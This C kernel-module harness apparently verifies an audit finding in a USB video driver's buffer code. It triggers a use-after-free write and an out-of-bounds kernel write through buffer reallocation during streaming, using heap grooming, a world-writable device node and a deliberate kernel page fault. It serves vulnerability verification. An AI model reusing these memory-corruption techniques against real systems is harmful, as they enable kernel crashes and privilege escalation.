/* * bufharness.c - pass-2 verification harness for sys/bus/u4b/uvc/uvc_buf.c * * Target finding (verified here): * * DF-5434 (HIGH): REQBUFS-while-streaming / buffer realloc frees bq->mem * without draining the product/consumer queues or resetting descriptors. * uvc_v4l2.c:613 VIDIOC_REQBUFS has NO streaming-state check * uvc_buf.c:517 free_bufs_locked() frees bq->mem but does NOT drain * product/consumer queues and does NOT reset descriptors * (buf->mem / buf->vbuf.bytesused / status stay STALE) * uvc_buf.c:91 uvc_buf_fill_v4l2() never clears vbuf.bytesused * => (A) count-shrink: descriptors with index >= new count keep pointing * at freed memory while still linked as product head => * uvc_bulkbuf_sell_buf()/uvc_buf_sell_buf() usbd_copy_out() into * FREED kernel memory (kernel-side UAF WRITE). [modes 1/2/3] * => (B) len-shrink: re-inited descriptor keeps stale bytesused > * new length => `maxlen = length - bytesused' (uvc_buf.c:265) * underflows => nbytes = len => OOB WRITE at mem_new + stale_bytesused. * [mode 4, predicted fault VA printed before the write] * * Also documented here (killed candidate, Info-level): * uvc_buf_queue_req_bufs() signed count (count >= 0x80000000 => num<0 => * clamp skipped, alloc loop skipped, `mem' uninitialized, buf_count * sign-extended). Guest objdump proves the shipping gcc folds the * uninit read into a deterministic ENOMEM, so no wild bq->mem occurs on * this toolchain. [mode 8] * * The harness #includes the REAL driver sources (newbus registration * neutered), registers a REAL 0666 cdev via the production * uvc_v4l2_reg()/make_dev(), and drives the production completion path * (uvc_bulkbuf_sell_buf) from kernel context with a fabricated * usb_page_cache exactly as uvc_drv_bulkfill_buf() would from the USB * callback. * * sysctl hw.bufharness: * 1/2/3 - DF-5434 mode A (UAF write proof, guest stays up), payload * markers 0x5A / 0xA7 / 0xC3 * 4 - DF-5434 mode B (stale-bytesused maxlen underflow => OOB write * => kernel page fault; predicted VA printed first) * 8 - signed-count probe (expected: ENOMEM fold) * 9 - ground truth dump (qwords of bq->buf[i], i = 0..47, * pointers, sizeof/offsetof proof) */ #include #include #include #include #include #include #include #include #include /* Neuter driver registration; we want the production code only. */ #undef DRIVER_MODULE #undef MODULE_DEPEND #undef MODULE_VERSION #define DRIVER_MODULE(name, busname, drv, dc, evh, arg) #define MODULE_DEPEND(name, mod, min, pref, max) #define MODULE_VERSION(mod, ver) /* The real driver code, verbatim */ #include "uvc_buf.c" #include "uvc_ctrls.c" #include "uvc_v4l2.c" #include "uvc_drv.c" static void *harness_refs[] __unused = { &uvc_driver, &uvc_devclass }; static struct uvc_softc gsc; static struct uvc_drv_video *gvideo; static int gvideo_registered; /* fake compressed format so REQBUFS ioctl path (uvc_v4l2.c:623) survives */ static struct uvc_data_format fakefmt = { .flags = UVC_FMT_FLAG_COMPRESSED, .fcc = V4L2_PIX_FMT_MJPEG, .name = "rig", }; static struct uvc_data_frame fakefrm; /* fake streaming data so uvc_drv_stop_video() on close is safe: * num_altsetting=1 => bulk branch; xfer[0]==NULL => no endpoint work */ static struct uvc_drv_data fakedata = { .num_altsetting = 1, }; /* fake usb_page_cache: zeroed struct + ->buffer set gives "Case 2 - Plain * PIO" in usbd_get_page() => usbd_copy_out(pc, off, dst, len) becomes * memcpy(dst, pc->buffer + off, len) - the production copy primitive. */ static struct usb_page_cache gpc; #define GROOM_N 24 #define LANE sizeof(struct uvc_buf) static void groom_and_place(void) { void *groom[GROOM_N]; size_t vsz = sizeof(struct uvc_drv_video); int i, j; /* zeroed chunks, marker qword at lane offset 64 of each 128B lane * (offset 16 - the `status' field - stays 0 so a later QBUF treats * the OOB slot as UVC_BUF_STATE_IDLE) */ for (i = 0; i < GROOM_N; i++) { groom[i] = kmalloc(vsz, M_UVC, M_WAITOK | M_ZERO); for (j = 0; (j + 1) * LANE <= vsz; j++) *(uint64_t *)((uint8_t *)groom[i] + j * LANE + 64) = 0x5A00000000000000ULL | ((uint64_t)i << 8) | j; } for (i = 0; i < GROOM_N; i++) kfree(groom[i], M_UVC); /* production-style allocation: the video struct (with the embedded * uvc_buf_queue) lands amid the freshly freed marker chunks */ gvideo = kmalloc(vsz, M_UVC, M_WAITOK | M_ZERO); kprintf("HARNESS: gvideo=%p size=%zu lane(sizeof uvc_buf)=%zu " "off(status)=%d off(vbuf)=%d off(link)=%d " "sizeof(v4l2_buffer)=%d\n", gvideo, vsz, LANE, (int)offsetof(struct uvc_buf, status), (int)offsetof(struct uvc_buf, vbuf), (int)offsetof(struct uvc_buf, link), (int)sizeof(struct v4l2_buffer)); } /* ---------------- DF-5435: production completion-path drives ------------- */ static uint8_t patbuf[4 * 1024 * 1024]; static void pat_fill(uint8_t b) { memset(patbuf, b, sizeof(patbuf)); } /* mimics uvc_drv_bulkfill_buf() -> uvc_bulkbuf_sell_buf() from the xfer * callback: header FID bit + one bulk payload */ static int sell_bulk(uint32_t len, uint32_t actlen, uint32_t maxFramelen, uint8_t fid) { gvideo->bulk.header[1] = fid; /* UVC_PL_HEADER_BIT_FID == 1 */ return uvc_bulkbuf_sell_buf(&gvideo->bq, &gpc, 0, len, actlen, maxFramelen); } /* mode 1/2/3: count-shrink UAF write, deterministic, guest survives */ static void mode_a(int round, uint8_t marker) { struct v4l2_buffer vb; uint32_t cnt; void *victim; uint8_t *old; int i, hits = 0; kprintf("HARNESS DF-5434[A%d]: marker=0x%02x round start\n", round, marker); uvc_buf_queue_disable(&gvideo->bq); /* clean state like STREAMOFF */ uvc_buf_queue_enable(&gvideo->bq); /* like STREAMON */ /* fresh bulk engine state, as after a completed frame (clean:) */ gvideo->bulk.header_size = 0; gvideo->bulk.skip_payload = 0; gvideo->bulk.payload_size = 0; gvideo->bulk.max_payload_size = 0xFFFFFFFFu; cnt = 4; if (uvc_buf_queue_req_bufs(&gvideo->bq, &cnt, 0x10000) != 0 || cnt != 4) { kprintf("HARNESS DF-5434[A%d]: req1 failed\n", round); return; } kprintf("HARNESS DF-5434[A%d]: req1 -> mem=%p count=%llu size=0x%llx\n", round, gvideo->bq.mem, (unsigned long long)gvideo->bq.buf_count, (unsigned long long)gvideo->bq.buf_size); old = gvideo->bq.mem; memset(&vb, 0, sizeof(vb)); vb.index = 3; vb.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; vb.memory = V4L2_MEMORY_MMAP; if (uvc_buf_queue_queue_buf(&gvideo->bq, &vb) != 0) { kprintf("HARNESS DF-5434[A%d]: qbuf3 failed\n", round); return; } /* frame data arrives: one bulk payload of 0x1000 into buf3 */ pat_fill(marker); gvideo->bulk.last_fid = 3; gvideo->bulk.payload_size = 0; gvideo->bulk.max_payload_size = 0xFFFFFFFFu; sell_bulk(0x1000, 0x1000, 0x1000, 0); kprintf("HARNESS DF-5434[A%d]: after sell1 buf3: mem=%p offset=0x%llx " "bytesused=0x%x status=%llu (still linked as product head)\n", round, gvideo->bq.buf[3].mem, (unsigned long long)gvideo->bq.buf[3].offset, gvideo->bq.buf[3].vbuf.bytesused, (unsigned long long)gvideo->bq.buf[3].status); /* THE BUG: REQBUFS again while the queue is live. Production reaches * this via VIDIOC_REQBUFS (no streaming check, uvc_v4l2.c:613). */ cnt = 1; if (uvc_buf_queue_req_bufs(&gvideo->bq, &cnt, 0x10000) != 0) { kprintf("HARNESS DF-5434[A%d]: req2 failed\n", round); return; } kprintf("HARNESS DF-5434[A%d]: req2(count=1) -> NEW mem=%p " "(OLD mem=%p was kfree'd; buf3 NOT re-inited: mem=%p status=%llu " "bytesused=0x%x; product head=%p == buf3? %s)\n", round, gvideo->bq.mem, old, gvideo->bq.buf[3].mem, (unsigned long long)gvideo->bq.buf[3].status, gvideo->bq.buf[3].vbuf.bytesused, STAILQ_FIRST(&gvideo->bq.product), STAILQ_FIRST(&gvideo->bq.product) == &gvideo->bq.buf[3] ? "YES" : "no"); /* reclaim the freed 0x40000 block to observe the UAF write */ victim = kmalloc(4 * 0x10000, M_UVC, M_WAITOK | M_ZERO); memset(victim, 0xAA, 4 * 0x10000); kprintf("HARNESS DF-5434[A%d]: victim=%p (reclaimed old mem? %s)\n", round, victim, victim == old ? "YES" : "no"); /* more frame data arrives: completion engine writes through the * STALE descriptor into freed (now victim) memory */ pat_fill(marker ^ 0xFF); sell_bulk(0x800, 0x800, 0x800, 0); kprintf("HARNESS DF-5434[A%d]: after sell2 (wrote 0x%02x x 0x800 at " "OLDmem+3*0x10000+0x1000)\n", round, marker ^ 0xFF); for (i = 0; i < 0x40000; i++) { if (((uint8_t *)old)[i] == (marker ^ 0xFF)) hits++; } kprintf("HARNESS DF-5434[A%d]: %s: found %d bytes of 0x%02x pattern " "inside freed/reclaimed block %p (expect 0x800 at " "offset 0x31000..0x31800 => %s)\n", round, hits >= 0x800 ? "UAF-WRITE PROVEN" : "no hit", hits, marker ^ 0xFF, old, hits >= 0x800 ? "KERNEL UAF WRITE" : "check"); kfree(victim, M_UVC); /* leave the queue consistent enough for the next round */ uvc_buf_queue_disable(&gvideo->bq); cnt = 0; uvc_buf_queue_req_bufs(&gvideo->bq, &cnt, 0x1000); } /* mode 4: len-shrink stale-bytesused underflow => OOB write => page fault */ static void mode_b(void) { uint32_t cnt, i; uint8_t *mem2; kprintf("HARNESS DF-5434[B]: stale-bytesused underflow round start\n"); uvc_buf_queue_disable(&gvideo->bq); uvc_buf_queue_enable(&gvideo->bq); /* fresh bulk engine state, as after a completed frame (clean:) */ gvideo->bulk.header_size = 0; gvideo->bulk.skip_payload = 0; gvideo->bulk.payload_size = 0; gvideo->bulk.max_payload_size = 0xFFFFFFFFu; cnt = 2; if (uvc_buf_queue_req_bufs(&gvideo->bq, &cnt, 0x2000000) != 0) { kprintf("HARNESS DF-5434[B]: req1 failed\n"); return; } kprintf("HARNESS DF-5434[B]: req1(len=0x2000000) mem=%p\n", gvideo->bq.mem); { struct v4l2_buffer vb; memset(&vb, 0, sizeof(vb)); vb.index = 0; vb.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; vb.memory = V4L2_MEMORY_MMAP; uvc_buf_queue_queue_buf(&gvideo->bq, &vb); } pat_fill(0xC3); gvideo->bulk.last_fid = 3; gvideo->bulk.payload_size = 0; gvideo->bulk.max_payload_size = 0xFFFFFFFFu; for (i = 0; i < 8; i++) sell_bulk(0x400000, 0x400000, 0x400000, 0); kprintf("HARNESS DF-5434[B]: buf0 bytesused=0x%x (mid-frame, ACTIVE, " "product head)\n", gvideo->bq.buf[0].vbuf.bytesused); /* REQBUFS with the SMALLER frame size (device re-negotiated probe * dwMaxFrameSize / S_PARM path): buf0 is re-inited with * length=0x1000 but bytesused STAYS 0x2000000 */ cnt = 2; if (uvc_buf_queue_req_bufs(&gvideo->bq, &cnt, 0x1000) != 0) { kprintf("HARNESS DF-5434[B]: req2 failed\n"); return; } mem2 = gvideo->bq.mem; kprintf("HARNESS DF-5434[B]: req2(len=0x1000) NEW mem=%p (0x2000 " "bytes); buf0: length=0x%x bytesused=STALE 0x%x status=%llu\n", mem2, gvideo->bq.buf[0].vbuf.length, gvideo->bq.buf[0].vbuf.bytesused, (unsigned long long)gvideo->bq.buf[0].status); kprintf("HARNESS DF-5434[B]: PREDICTED fault VA = %p " "(mem2 + stale bytesused 0x2000000); maxlen = 0x1000-0x2000000 " "= 0xE0001000 (UNDERFLOW) => nbytes=0x1000 => OOB WRITE, " "triggering now\n", (void *)(mem2 + 0x2000000)); pat_fill(0x5A); sell_bulk(0x1000, 0x1000, 0x1000, 1); /* FID toggles => ACTIVE */ kprintf("HARNESS DF-5434[B]: survived?! (write landed in mapped " "memory - corruption, not fault)\n"); } /* mode 8: kernel-side probe of the signed-count path (DF-5434-Info): * objdump of this exact build shows gcc folds the uninitialized `mem' * read into a deterministic ENOMEM for num<0 (no wild bq->mem). */ static void mode_arm(void) { uint32_t cnt = 0x80000000u; if (uvc_buf_queue_req_bufs(&gvideo->bq, &cnt, 0x1000) != 0) { kprintf("HARNESS DF-5434[arm]: req_bufs(0x80000000) -> " "ENOMEM (compiler folded the uninit mem read; bq->mem=%p " "buf_count=%llu unchanged)\n", gvideo->bq.mem, (unsigned long long)gvideo->bq.buf_count); return; } kprintf("HARNESS DF-5434[arm]: ARMED: bq->mem=%p " "bq->buf_count=0x%llx bq->buf_size=0x%llx\n", gvideo->bq.mem, (unsigned long long)gvideo->bq.buf_count, (unsigned long long)gvideo->bq.buf_size); } /* mode 9: ground truth dump for DF-5434 leak/write comparison */ static void mode_dump(void) { int i, j; kprintf("HARNESS DF-5434[dump]: bq=%p buf[]=%p mem=%p buf_count=0x%llx " "buf_size=0x%llx\n", &gvideo->bq, gvideo->bq.buf, gvideo->bq.mem, (unsigned long long)gvideo->bq.buf_count, (unsigned long long)gvideo->bq.buf_size); for (i = 0; i < 48; i++) { uint64_t *lane = (uint64_t *)(gvideo->bq.buf + i); int nz = 0; for (j = 0; j < (int)(LANE / 8); j++) if (lane[j]) nz++; if (nz) kprintf("HARNESS DF-5434[dump]: buf[%2d] @%p: " "mem=%016llx off=%016llx status=%016llx " "idx=%016llx lane[8]=%016llx lane[11]=%016llx\n", i, (void *)lane, (unsigned long long)lane[0], (unsigned long long)lane[1], (unsigned long long)lane[2], (unsigned long long)lane[3], (unsigned long long)lane[8], (unsigned long long)lane[11]); } kprintf("HARNESS DF-5434[dump]: dump done (marker qwords are " "0x5a..chunk/lane ids; status==1 in a lane that was zero/marker " "=> QBUF OOB write)\n"); } static int harness_mode; static int sysctl_harness(SYSCTL_HANDLER_ARGS) { int error, m = harness_mode; error = SYSCTL_OUT(req, &m, sizeof(m)); if (error != 0 || req->newptr == NULL) return (error); error = SYSCTL_IN(req, &m, sizeof(m)); if (error != 0) return (error); switch (m) { case 1: mode_a(1, 0x5A); break; case 2: mode_a(2, 0xA7); break; case 3: mode_a(3, 0xC3); break; case 4: mode_b(); break; case 8: mode_arm(); break; case 9: mode_dump(); break; default: break; } harness_mode = m; return (0); } SYSCTL_PROC(_hw, OID_AUTO, bufharness, CTLTYPE_INT | CTLFLAG_RW, 0, 0, sysctl_harness, "I", "uvc uvc_buf.c DF-5434 harness"); static int bufharness_handler(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: kprintf("HARNESS: loaded (real uvc sources compiled in)\n"); groom_and_place(); memset(&gsc, 0, sizeof(gsc)); gvideo->sc = &gsc; gvideo->ctrl = NULL; gvideo->data = &fakedata; gvideo->unit = 96; gvideo->type = V4L2_BUF_TYPE_VIDEO_CAPTURE; gvideo->cur_fmt = &fakefmt; gvideo->cur_frm = &fakefrm; USETDW(gvideo->req.dwMaxFrameSize, 0x1000); USETDW(gvideo->req.dwMaxPayloadSize, 0x1000); atomic_store_64(&gvideo->users, 0); atomic_store_64(&gvideo->pri, 0); uvc_buf_queue_init(gvideo, &gvideo->bq); gpc.buffer = patbuf; if (uvc_v4l2_reg(gvideo) != 0) { kprintf("HARNESS: uvc_v4l2_reg failed\n"); return (ENXIO); } gvideo_registered = 1; kprintf("HARNESS: production cdev /dev/video%lu created (0666) " "via uvc_v4l2_reg()\n", (unsigned long)gvideo->unit); return (0); case MOD_UNLOAD: if (gvideo_registered) return (EBUSY); kfree(gvideo, M_UVC); return (0); default: return (EOPNOTSUPP); } } static moduledata_t bufharness_mod = { "bufharness", bufharness_handler, NULL }; DECLARE_MODULE(bufharness, bufharness_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);